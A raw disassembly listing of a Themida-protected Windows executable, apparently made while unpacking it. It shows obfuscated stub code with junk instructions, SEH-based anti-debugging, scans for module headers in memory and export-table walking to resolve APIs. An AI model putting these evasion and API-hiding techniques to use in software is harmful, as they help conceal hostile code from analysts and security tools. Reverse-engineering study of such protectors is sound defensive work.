		dd offset loc_5BEB6C
		dd 3 dup(0)
		dd 0FF4EE7F1h, 0Ch dup(0)
		dd 77DD6BF0h, 2	dup(0)
		dd 0B10000h, 3 dup(0)
		dd 7C90EB94h, 3	dup(0)
		dd 0AAF9FCh, 0
		dd 7E41A8ADh, 4	dup(0)
		dd 0BB0B3Ch, 2 dup(0)
		dd 7C80180Eh, 7C90EB94h, 2C000h, 7C90EB94h, 0
		dd 148E9h, 0B5D76813h, 4, 3 dup(0)
		dd offset loc_5F8CCD
		dd 2 dup(0)
		dd 7C810A77h, 10h dup(0)
		dd 979h, 0D24h,	0B12918h, 0
		dd 337D5h, 0EB5B05F8h, 9 dup(0)
		dd 203FFB0h, 7C90EB94h,	0
		dd offset sub_5BA363
		dd 0
		dd 7C900000h, 6	dup(0)
		dd 836F146Ch, 7	dup(0)
		dd 0BCh, 3 dup(0)
		dd 76F36C5Bh, 0
		dd 12FE7Ch, 2 dup(0)
		dd 12FF54h, 0
		dd 1BD0Ah, 2 dup(0)
		dd 789Bh, 0
		dd 0CDA680A3h, 3 dup(0)
		dd 7CEF1B06h, 0
		dd 4, 2	dup(0)
		dd 32h,	0
		dd 0A0h, 0
		dd 77DFC41Bh, 3	dup(0)
		dd 61h,	2 dup(0)
		dd offset word_5FFFA6
		dd 2 dup(0)
		dd offset loc_5BFAD6
		dd 3 dup(0)
		dd offset byte_612D59
		dd 2 dup(0)
		dd 836F146Ch, 77DDEDE5h, 5F5974h, 4 dup(0)
		dd 0C246DA44h, 76B178BEh, 2 dup(0)
		dd 44118644h, 3	dup(0)
		dd 5C233A1Dh, 5C3B1Ch, 5 dup(0)
		dd offset loc_5F4CB3
		dd 2 dup(0)
		dd offset dword_5864EC
		align 10h
		dd 12FE80h, 8DC5h, 5 dup(0)
		dd 7C90EB94h, 3	dup(0)
		dd 0B18E51h, 3 dup(0)
		dd 25D6E06h, 2 dup(0)
		dd offset word_607F42
		dd offset aRlLbIejSNSNebo ; "R‹Τ`‹B\b‰…¦Ήι\a΅-Ίι\a…‘Ž["
		dd 3 dup(0)
		dd 0BB0B3Ch, 2 dup(0)
		dd offset dword_582534+4
		align 10h
		dd 24242424h, 0Ah dup(0)
		db 90h
		db 0DEh, 5Ah, 19h
		dd offset loc_5DDE35
		align 10h
		dd 73EDEFFCh, 8A8h, 7C900000h, 5850FCh,	5 dup(0)
		dd offset loc_5B08FF
		dd 0
		dd 0B55000C0h, 0Dh dup(0)
		dd 0B18B28h, 4 dup(0)
		dd 0B22493h, 3 dup(0)
		dd 0DE8h, 6 dup(0)
		dd 12FFA4h, 0
		dd 2E5Ch, 13h dup(0)
		dd 12FFA4h, 77DDEBE7h, 52F5FEA7h, 6 dup(0)
		dd offset byte_612D59
		align 8
		dd 1B7B01C8h, 5	dup(0)
		dd 1, 63DB14C8h, 0
		dd 2591D5DFh, 1, 7C812A09h, 3 dup(0)
		dd 0BB0B3Ch, 0FEEAE4D7h, 6 dup(0)
		dd 223FFB0h, 0FF44F4C4h, 2 dup(0)
		dd offset loc_5F425D
		dd 0
		dd offset byte_612D59
		dd 5 dup(0)
		dd 7C3190C8h, 3	dup(0)
		dd 5BE8h, 0
		dd 0F874248Ah, 0B1AAA1h, 2 dup(0)
		dd 623F9AC4h, 0
		dd 0D24h, 0FFFFAC6Bh, 2	dup(0)
		dd 0F82EFCh, 2 dup(0)
		db 90h
		db 17h,	0F2h, 76h
		dd offset byte_612D59
		dd 3 dup(0)
		dd 0FFA4A030h, 2700000h, 2 dup(0)
		dd offset dword_5CBE30
		dd 0
		dd 0B1180Fh, 3 dup(0)
		dd offset byte_5C173F
		dd 5 dup(0)
		dd 0FFA20882h, 0
		dd 2, 5	dup(0)
		dd 0B48B0Dh, 3 dup(0)
		dd 0B61C1Ch, 0
		dd 0B1180Fh, 0
		dd 1320132h, 0
		dd offset loc_5BFAD6
		dd 0Ah dup(0)
		dd 12FF54h, 2 dup(0)
		dd 0E8h, 0D532h, 0Eh dup(0)
		dd offset loc_5C7B2B
		align 10h
		dd 8A31177h, 4 dup(0)
		dd 12FFA4h, 5F1E22h, 3 dup(0)
		dd 0FFFFFFFFh, 0
		dd 7C90EB94h, 81h dup(0)
		dd 62674F91h, 5FC39Bh, 6 dup(0)
		dd 7C904664h, 5EC8h, 2 dup(0)
		dd 32597F5Dh, 2	dup(0)
		dd offset loc_600001+3
		dd 1, 0
		dd 0C246DA44h, 0B48B0Dh, 0
		dd 3028D8Dh, 3 dup(0)
		dd 9D6047F9h, 3	dup(0)
		dd offset loc_5F4CB3
		dd 0Ah dup(0)
		dd 3D94h, 2 dup(0)
		dd 89B58247h, 2	dup(0)
		dd 86555974h, 0
		dd offset loc_5C2404+3
		dd 9 dup(0)
		dd 836F11E8h, 9	dup(0)
		dd 1D517BFh, 0
		dd 7D1h, 2 dup(0)
		dd offset byte_5C53C9
		dd 5 dup(0)
		dd offset dword_582534+4
		align 10h
		dd 0FFFFFFFFh, 0Ch dup(0)
		dd 81A5A47Dh, 4	dup(0)
		dd 2D59h, 3 dup(0)
		dd 7C90FB71h, 0FFA07E09h, 0Dh dup(0)
		dd offset byte_5BF907
		dd 10h dup(0)
		dd 2D59h, 2 dup(0)
		dd 0B3B738h, 0
		dd 0C4h, 0
		dd 7ED3FFB4h, 2	dup(0)
		dd 86BFCE08h, 0
		dd 2D59h, 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	short near ptr byte_5850F3
; ---------------------------------------------------------------------------
		dw 0FF44h
		dd 3 dup(0)
		dd 0B10000h, 0A8D287h, 5 dup(0)
		dd 3D57h, 2638h, 0
		dd offset dword_5D9534
		dd 2 dup(0)
		db 3 dup(0)
byte_5850F3	db 0			; CODE XREF: Themida_:005850ACj
		align 8
		dd 245F0E99h, 0B8h, 74C00B00h, 18C203h,	0C24448Bh, 0E853h
		dd 815B0000h, 17C3h, 245C8900h,	24448910h, 37B85B14h, 0FF00B1FAh
		dd 24448BE0h, 0E0FF04h,	16h dup(0)
		dd offset loc_5F1F49
		dd 6 dup(0)
		dd 0C246DA44h, 400000h,	5 dup(0)
		dd offset byte_60351B
		align 8
		dd offset loc_5BFAD6
		dd 2 dup(0)
		dd 2540000h, 0
		dd 0C49CBEEEh, 0
		dd offset byte_5F2635
		dd 0
		dd 0B73F5Ch, 0Bh dup(0)
		dd 76B44E5Bh, 7C801A24h, 7C90DDF9h, 0
		dd 5C28h, 0
		dd 0A9C530DFh, 6 dup(0)
		dd 7C803518h, 0
		dd 7F1A94E3h, 9	dup(0)
		dd 0FFFFFAD6h, 0
		dd offset byte_5DAF8D
		dd 77DDEE5Ah, 912B661Ch, 28h dup(0)
		dd 0FBh, 4 dup(0)
		dd 32597F5Dh, 2	dup(0)
		dd 74736552h, 41747261h, 652E7070h, 6578h, 5FA4F2h, 0
		dd 4C170C15h, 24h dup(0)
		dd 6813h, 0
		dd 7C90EB94h, 3	dup(0)
		dd 11111111h, 0
		dd 7C90EE18h, 0
		dd 0BD850FBDh, 280h, 6 dup(0)
		dd 1F3FFB0h, 4 dup(0)
		dd offset loc_5BFAD6
		dd 7 dup(0)
		dd 21212121h, 5C6ECCh, 5BCB8Dh,	0BA6607E9h, 7C8034F0h
		dd 4 dup(0)
		dd offset byte_5BF907
		dd 12FFE0h, 3 dup(0)
		dd 25D6DF4h, 7 dup(0)
; ---------------------------------------------------------------------------
		wait
		retn
; ---------------------------------------------------------------------------
		dw 5Fh
		dd 0B11920h, 582538h, 3	dup(0)
		dd 0B19417h, 5 dup(0)
		dd 7D0Dh, 0B527848Ah, 0Fh dup(0)
		dd offset sub_60AEF3
aThemida	db 'Themida',0
		dd 20h dup(0)
		dd 8A7F6F08h, 9	dup(0)
		dd 9C7C1FAh, 0
		dd offset byte_5C0979
		align 10h
		dd 0FFA3E2B0h, 9 dup(0)
		dd 0B1B508h, 5F48EDh, 40EF921h,	0FF4EE7F1h, 0
		dd 0B1180Fh, 0FE3AE841h, 0
		dd offset dword_583210
		dd 279D95B7h, 2	dup(0)
		dd 205A8474h, 2	dup(0)
		dd offset loc_5B4B69
		dd 0
		dd 0FF4EE7F1h, 3 dup(0)
		dd 0B69178h, 5 dup(0)
		dd offset dword_5B5FD0
		dd 7 dup(0)
		dd 0FFA3FFDDh, 0Bh dup(0)
		dd 2D59h, 9 dup(0)
		dd offset sub_60AEF3
		dd 5 dup(0)
		dd 0FFA1487Bh, 11h dup(0)
		dd offset loc_60C639
		dd 0FFFF94A4h, 5 dup(0)
		dd 26E0000h, 0
		dd 0BB0B3Ch, 2 dup(0)
		dd 1A38h, 0
		dd 0FFA3FFDDh, 1C32DF67h, 3D94h, 4 dup(0)
		dd 1, 2	dup(0)
		dd offset dword_5C0B3C
		dd 0
		dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 7Dh dup(0)
; ---------------------------------------------------------------------------
		mov	ah, [esp+esi*2]
		clc
		retf	60C4h
; ---------------------------------------------------------------------------
		align 10h
		dd 2 dup(0)
		dd 0FFFF98EAh, 0
		dd 0B119F0h, 6 dup(0)
		dd 170DEF19h
; ---------------------------------------------------------------------------


loc_585A20:				; CODE XREF: Themida_:loc_58248Bj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7E4359Fh
		mov	[ebp+7E40649h],	edx
		mov	[ebp+7E40F11h],	esi
		mov	[ebp+7E41271h],	eax
		cmp	dword ptr [ebp+7E40E65h], 0
		jz	short loc_585A58
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_585A58:				; CODE XREF: Themida_:00585A4Aj
		mov	eax, [esp+24h]
		mov	[ebp+7E41551h],	eax
		push	45h
		call	sub_585B0C
		push	783749Ah
		call	sub_585B52
		push	0A894B25h
		call	sub_585B52
		jmp	loc_585C96
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
		dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
		dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
		dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 0C3h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_585B0C	proc near		; CODE XREF: Themida_:00585A64p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 7E4368Dh
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_585B28:				; CODE XREF: sub_585B0C+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_585B47
		mov	eax, [ebp+arg_0]
		mov	[ebx+7E435F7h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_585B28
; ---------------------------------------------------------------------------


loc_585B47:				; CODE XREF: sub_585B0C+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_585B0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_585B52	proc near		; CODE XREF: Themida_:00585A6Ep
					; Themida_:00585A78p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 7E436D6h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_585B78:				; CODE XREF: sub_585B52+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_585B78
		mov	[ebp+var_84], 0
		lea	edi, [edx+7E435F7h]
		lea	esi, [ebp+var_80]


loc_585BA8:				; CODE XREF: sub_585B52+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_585BB4:				; CODE XREF: sub_585B52+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_585BB4
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_585BA8
		popa
		leave
		retn	4
sub_585B52	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_585BF2
; ---------------------------------------------------------------------------


loc_585BEE:				; CODE XREF: Themida_:00585BF5j
		inc	dword ptr [ebp-4]
		inc	esi


loc_585BF2:				; CODE XREF: Themida_:00585BECj
		cmp	byte ptr [esi],	0
		jnz	short loc_585BEE
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_585C83
; ---------------------------------------------------------------------------


loc_585C04:				; CODE XREF: Themida_:00585C86j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_585C7A
; ---------------------------------------------------------------------------


loc_585C0D:				; CODE XREF: Themida_:00585C7Ej
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_585C67
; ---------------------------------------------------------------------------


loc_585C1D:				; CODE XREF: Themida_:00585C6Bj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_585C3F
		cmp	bl, 39h
		ja	short loc_585C3F
		sub	bl, 30h
		jmp	short loc_585C61
; ---------------------------------------------------------------------------


loc_585C3F:				; CODE XREF: Themida_:00585C33j
					; Themida_:00585C38j
		cmp	bl, 61h
		jb	short loc_585C51
		cmp	bl, 66h
		ja	short loc_585C51
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_585C61
; ---------------------------------------------------------------------------


loc_585C51:				; CODE XREF: Themida_:00585C42j
					; Themida_:00585C47j
		cmp	bl, 41h
		jb	short loc_585C61
		cmp	bl, 46h
		ja	short loc_585C61
		sub	bl, 41h
		add	bl, 0Ah


loc_585C61:				; CODE XREF: Themida_:00585C3Dj
					; Themida_:00585C4Fj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_585C67:				; CODE XREF: Themida_:00585C1Bj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_585C1D
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_585C77
		mov	eax, [ebp-10h]
		stosb


loc_585C77:				; CODE XREF: Themida_:00585C71j
		inc	dword ptr [ebp-8]


loc_585C7A:				; CODE XREF: Themida_:00585C0Bj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_585C0D
		add	edx, 4


loc_585C83:				; CODE XREF: Themida_:00585C02j
		cmp	edx, [ebp-4]
		jb	loc_585C04
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_585C96:				; CODE XREF: Themida_:00585A7Dj
		mov	ecx, 7000h
		lea	edi, [ebp+7E4381Ch]


loc_585CA1:				; CODE XREF: Themida_:00585CA5j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_585CA1
		mov	eax, 48692121h
		mov	edx, 0F0115000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+7E4390Eh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	edx
		call	sub_585CDD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585CDD	proc near		; CODE XREF: Themida_:00585CD5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_585CDD	endp

; ---------------------------------------------------------------------------
		jnb	short loc_585D45
		mov	bx, 6AD2h
		pop	ebx
		jo	loc_585CFB
		stc


loc_585CFB:				; CODE XREF: Themida_:00585CF4j
		stc
		stc
		sub	eax, edx
		xor	bx, 1B63h
		and	eax, 0FFFFF000h
		movzx	ebx, di
		mov	ecx, edx
		xor	edi, edi


loc_585D10:				; CODE XREF: Themida_:00585D2Bj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_585D25
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_585D2D


loc_585D25:				; CODE XREF: Themida_:00585D15j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_585D10
; ---------------------------------------------------------------------------


loc_585D2D:				; CODE XREF: Themida_:00585D23j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+7E43921h]
		push	edx
		push	large dword ptr	fs:0


loc_585D45:				; CODE XREF: Themida_:00585CEDj
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_585D67
		mov	esi, [eax+1Ch]


loc_585D67:				; CODE XREF: Themida_:00585D62j
		xor	eax, eax


loc_585D69:				; CODE XREF: Themida_:00585D7Cj
		cmp	eax, 32h
		jz	short loc_585D8D
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_585D7E


loc_585D75:				; CODE XREF: Themida_:00585D8Bj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_585D69
; ---------------------------------------------------------------------------


loc_585D7E:				; CODE XREF: Themida_:00585D73j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_585DCF
		jmp	short loc_585D75
; ---------------------------------------------------------------------------


loc_585D8D:				; CODE XREF: Themida_:00585D6Cj
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E4392Ch
		lea	eax, [ebp+7E438EAh]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_585DCF:				; CODE XREF: Themida_:00585D89j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		call	sub_585DEA
		or	[ebx-966348Dh],	eax
		mov	ds:436C7ECAh, al

; =============== S U B	R O U T	I N E =======================================



sub_585DEA	proc near		; CODE XREF: Themida_:00585DDAp
		sub	bh, 0E8h
		pop	ebx
		mov	bh, 0FEh
		mov	cx, ds
		push	edx
		mov	ebx, 70019D0Bh
		pop	ebx
		and	cl, 4
		push	0
		push	eax
		call	sub_585E08
		and	[eax-3Dh], bl
sub_585DEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_585E08	proc near		; CODE XREF: sub_585DEA+16p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_585E08	endp

; ---------------------------------------------------------------------------
		sub	ch, 0DDh
		retn	6492h
; ---------------------------------------------------------------------------
		stosb
		jmp	loc_585E30
; ---------------------------------------------------------------------------
		pop	es
		mov	eax, ds:5D4B0675h
		dec	edi
		mov	ebx, 79B14D43h


loc_585E30:				; CODE XREF: Themida_:00585E1Fj
		or	cl, cl
		jnz	loc_585EB1
		pusha
		jmp	loc_585E52
; ---------------------------------------------------------------------------
		dw 2D30h
		dd 7A183783h, 2E0315FBh, 15CF39A9h, 81DA85EFh
		db 1Eh,	0F6h
; ---------------------------------------------------------------------------


loc_585E52:				; CODE XREF: Themida_:00585E39j
		mov	al, dh
		popa
		mov	bx, 3822h
		mov	dword ptr [ebp+7E42015h], 1
		push	0
		push	ecx
		call	sub_585E6E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585E6E	proc near		; CODE XREF: Themida_:00585E66p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_585E6E	endp

; ---------------------------------------------------------------------------
		dw 83BDh
		dd 7CB40D07h, 0E93BA3AEh, 13h, 0F17EE9E2h, 0C62AECADh
		dd 0B6A56C88h, 444926FFh, 66DEAF17h, 0BF0FDF8Bh, 14E9D8h
		dd 81660000h, 8B157CCBh
		db 0DFh
; ---------------------------------------------------------------------------


loc_585EB1:				; CODE XREF: Themida_:00585E32j
		mov	dword ptr [ebp+7E42015h], 0
		movzx	ebx, dx
		mov	[ebp+7E4019Dh],	eax
		push	0
		push	ebx
		call	sub_585ECF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585ECF	proc near		; CODE XREF: Themida_:00585EC7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_585ECF	endp

; ---------------------------------------------------------------------------
		db 0Ch
		dd 66832669h, 0EE9DCh, 0F9EF0000h, 96A80AFh, 9948D15Fh
		dd 5778ADC5h, 75DB8166h, 41858912h, 0E807E421h,	6, 631233Ah
		dd 8B6698CFh, 8C0F5FC1h, 2, 0C78195B0h,	75BBh, 0F512BEF8h
		dd 0EE813B77h, 3B77D7C8h, 38DAD281h, 1F8B0551h,	2800F60h
		dd 8A000000h, 0C38161C5h, 1FE5114Ch, 7E9h, 0C5D59300h
		dd 0A8DDE311h, 895F381h, 0D38B4DA3h, 0E73FEB81h, 0B8662AE7h
		dd 0B953710Eh, 635E71BEh, 0B866078Fh, 0EF8368BDh, 4F7EB402h
		dd 0D38B664Fh, 0D850F4Eh, 0E9000000h, 1Bh, 0EB316Eh, 4341A007h
		dd 49E98166h, 0FF9CE961h, 990EFFFFh, 0F6A69413h, 0E8F4ED61h
		dd 6, 0FF06E11Fh, 0BE66B8F6h, 815A31A2h, 62CAC2h, 14E900h
		dd 0D13A0000h, 817A1EDDh, 5974B0BEh, 3488FE70h,	0C55664FEh
		dd 688094h, 0F000000h, 6659F0B7h, 34FFC78Bh, 8A0F5B11h
		dd 2, 0C381F28Bh, 109C3FAh, 0C6E08152h,	5F176482h, 25C2F381h
		dd 0BF0F6DD9h, 0D9F381F7h, 661A86E6h, 89A7B0BEh, 6FB80A1Ch
		dd 0F412DE0h, 287h, 83FA8B00h, 0B70F01E9h, 494949F0h, 0F981F88Bh
		dd 0FFFF9DDCh, 0B850Fh,	1BE90000h, 0BC000000h, 0F875DBDDh
		dd 3870F81h, 66000000h,	93E9FA8Bh, 0FFFFFFFh, 0B9D9BD2Eh
		dd 4EB7148h, 21Bh, 6E3E9h, 0E0816000h, 3919B8BBh, 24ADBD09h
		db 0E4h, 7, 61h

; =============== S U B	R O U T	I N E =======================================



sub_586067	proc far		; DATA XREF: Themida_:005842C4o

var_24		= dword	ptr -24h
var_4		= dword	ptr -4
arg_FFFFFFFC	= dword	ptr  4
arg_0		= dword	ptr  8

		pusha
		pusha
		jg	loc_586075
		js	$+6


loc_586075:				; CODE XREF: sub_586067+2j
		popa
		sub	eax, eax
		mov	[ebp+7E41E19h],	ebx
		mov	edx, [esp+20h+arg_0]
		stc
		mov	[ebp+7E412D1h],	eax
		mov	[ebp+7E41CC5h],	ecx
		mov	esi, 3Ch
		pusha
		jmp	loc_5860A1
; ---------------------------------------------------------------------------
		push	edx
		fld	qword ptr [ecx+5AA3BFh]


loc_5860A1:				; CODE XREF: sub_586067+2Ej
		or	bl, 8Bh
		popa
		add	esi, [esp+20h+arg_FFFFFFFC]
		mov	[ebp+7E42B3Dh],	eax
		lodsw
		mov	[ebp+7E41C71h],	esi
		add	eax, [esp+20h+arg_FFFFFFFC]
		mov	[ebp+7E4043Dh],	ecx
		jmp	loc_5860D9
; ---------------------------------------------------------------------------
		dw 815h
; ---------------------------------------------------------------------------
		retn	764Fh
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0CD444F80h, 91B50B4Dh, 4C1612BDh
		db 67h
; ---------------------------------------------------------------------------


loc_5860D9:				; CODE XREF: sub_586067+5Aj
		push	eax
		jz	loc_5860F9
		jmp	loc_5860F9
; ---------------------------------------------------------------------------
		db 0A0h, 39h, 40h
		dd 571085ADh, 7E4FDA13h, 0F6CFC41Fh, 1B49D7C8h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------


loc_5860F9:				; CODE XREF: sub_586067+73j
					; sub_586067+79j
		mov	[esp+24h+var_24], eax
		mov	[ebp+7E42D19h],	edx
		clc
		mov	eax, [eax+78h]
		pusha
		sub	ebx, 128BE50Eh
		popa
		add	eax, [esp+24h+arg_FFFFFFFC]
		mov	[ebp+7E42D1Dh],	edi
		mov	eax, [eax+18h]
		stc
		inc	eax
		cmc
		mov	[ebp+7E43BC5h],	eax
		mov	[ebp+7E41BADh],	esi
		pop	eax
		jge	loc_586132
		stc


loc_586132:				; CODE XREF: sub_586067+C4j
		mov	esi, [eax+78h]
		xor	[ebp+7E42511h],	esi
		sub	[ebp+7E414F1h],	eax
		add	esi, 1Ch
		jmp	loc_586154
; ---------------------------------------------------------------------------
		db 0C8h, 67h, 0D2h
		dd 89617AFEh, 0CBC6FF96h
; ---------------------------------------------------------------------------


loc_586154:				; CODE XREF: sub_586067+DDj
		add	esi, [esp+20h+arg_FFFFFFFC]
		jmp	loc_586162
; ---------------------------------------------------------------------------
		push	ebx
		retf	0B785h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------


loc_586162:				; CODE XREF: sub_586067+F1j
		lea	edi, [ebp+7E4090Dh]
		jbe	loc_58616F
		clc


loc_58616F:				; CODE XREF: sub_586067+101j
		jz	loc_586188
		pusha
		or	ecx, [ebp+7E426F9h]
		jmp	loc_586187
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 8510h
		db 85h,	0F8h, 31h
; ---------------------------------------------------------------------------


loc_586187:				; CODE XREF: sub_586067+115j
		popa


loc_586188:				; CODE XREF: sub_586067:loc_58616Fj
		lodsd
		mov	[ebp+7E423B5h],	ecx
		add	eax, [esp+20h+arg_FFFFFFFC]
		pusha
		mov	si, 0D04h
		mov	ecx, [ebp+7E42C4Dh]
		popa
		mov	[ebp+7E42A05h],	edx
		stosd
		pusha
		mov	ebx, 6B878890h
		jmp	loc_5861BC
; ---------------------------------------------------------------------------
		db 4Bh,	0EDh, 6
		dd 0EC2EFC73h, 7F36129Dh
; ---------------------------------------------------------------------------


loc_5861BC:				; CODE XREF: sub_586067+145j
		popa
		lea	edi, [ebp+7E4220Dh]
		jnp	loc_5861CF
		or	[ebp+7E407ADh],	esi


loc_5861CF:				; CODE XREF: sub_586067+15Cj
		lodsd
		pusha
		mov	edx, [ebp+7E42761h]
		pusha
		mov	ecx, [ebp+7E406ADh]
		jmp	loc_5861F3
; ---------------------------------------------------------------------------
		sub	byte ptr [ecx],	14h
		mov	edx, 8CA7AA96h
		leave
		add	eax, edx
		dec	eax
		push	eax
		sti
		or	ecx, ebx


loc_5861F3:				; CODE XREF: sub_586067+177j
		popa
		popa
		mov	[ebp+7E41A2Dh],	ecx
		add	eax, [esp+20h+arg_FFFFFFFC]
		jmp	loc_586212
; ---------------------------------------------------------------------------
		dd 3AE6EBBFh, 0F3355722h, 9666EDABh
		db 8Eh,	89h
; ---------------------------------------------------------------------------


loc_586212:				; CODE XREF: sub_586067+198j
		push	eax
		pusha
		mov	dh, 0ECh
		mov	eax, 6ABFA251h
		popa
		mov	[esp+24h+var_24], eax
		xor	[ebp+7E40235h],	eax
		stosd
		jmp	loc_586235
; ---------------------------------------------------------------------------
		db 42h
		dd 7F4104BCh, 93FF09CAh
		db 0F0h
; ---------------------------------------------------------------------------


loc_586235:				; CODE XREF: sub_586067+1BFj
		lea	edi, [ebp+7E41AF9h]
		jle	loc_586242
		cld


loc_586242:				; CODE XREF: sub_586067+1D4j
		lodsd
		sub	[ebp+7E42641h],	edx
		add	eax, [esp+24h+arg_FFFFFFFC]
		jo	loc_586259
		sub	[ebp+7E42005h],	edi


loc_586259:				; CODE XREF: sub_586067+1E6j
		stosd
		clc
		jmp	loc_586267
; ---------------------------------------------------------------------------
		dd 0A0006EC0h
		db 40h,	0CAh, 94h
; ---------------------------------------------------------------------------


loc_586267:				; CODE XREF: sub_586067+1F4j
		pop	esi
		jnz	loc_586274
		xor	[ebp+7E40DB9h],	ecx


loc_586274:				; CODE XREF: sub_586067+201j
		mov	[ebp+7E42DC5h],	esi


loc_58627A:				; CODE XREF: sub_586067+29Fj
		dec	dword ptr [ebp+7E43BC5h]
		cmp	dword ptr [ebp+7E43BC5h], 0
		jnz	short loc_586299
		mov	[esp+20h+var_4], 0
		lea	esi, [ebp+7E44041h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_586299:				; CODE XREF: sub_586067+220j
		push	esi
		lodsd
		add	eax, [esp+24h+arg_FFFFFFFC]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+7E42C2Dh]
		test	al, al
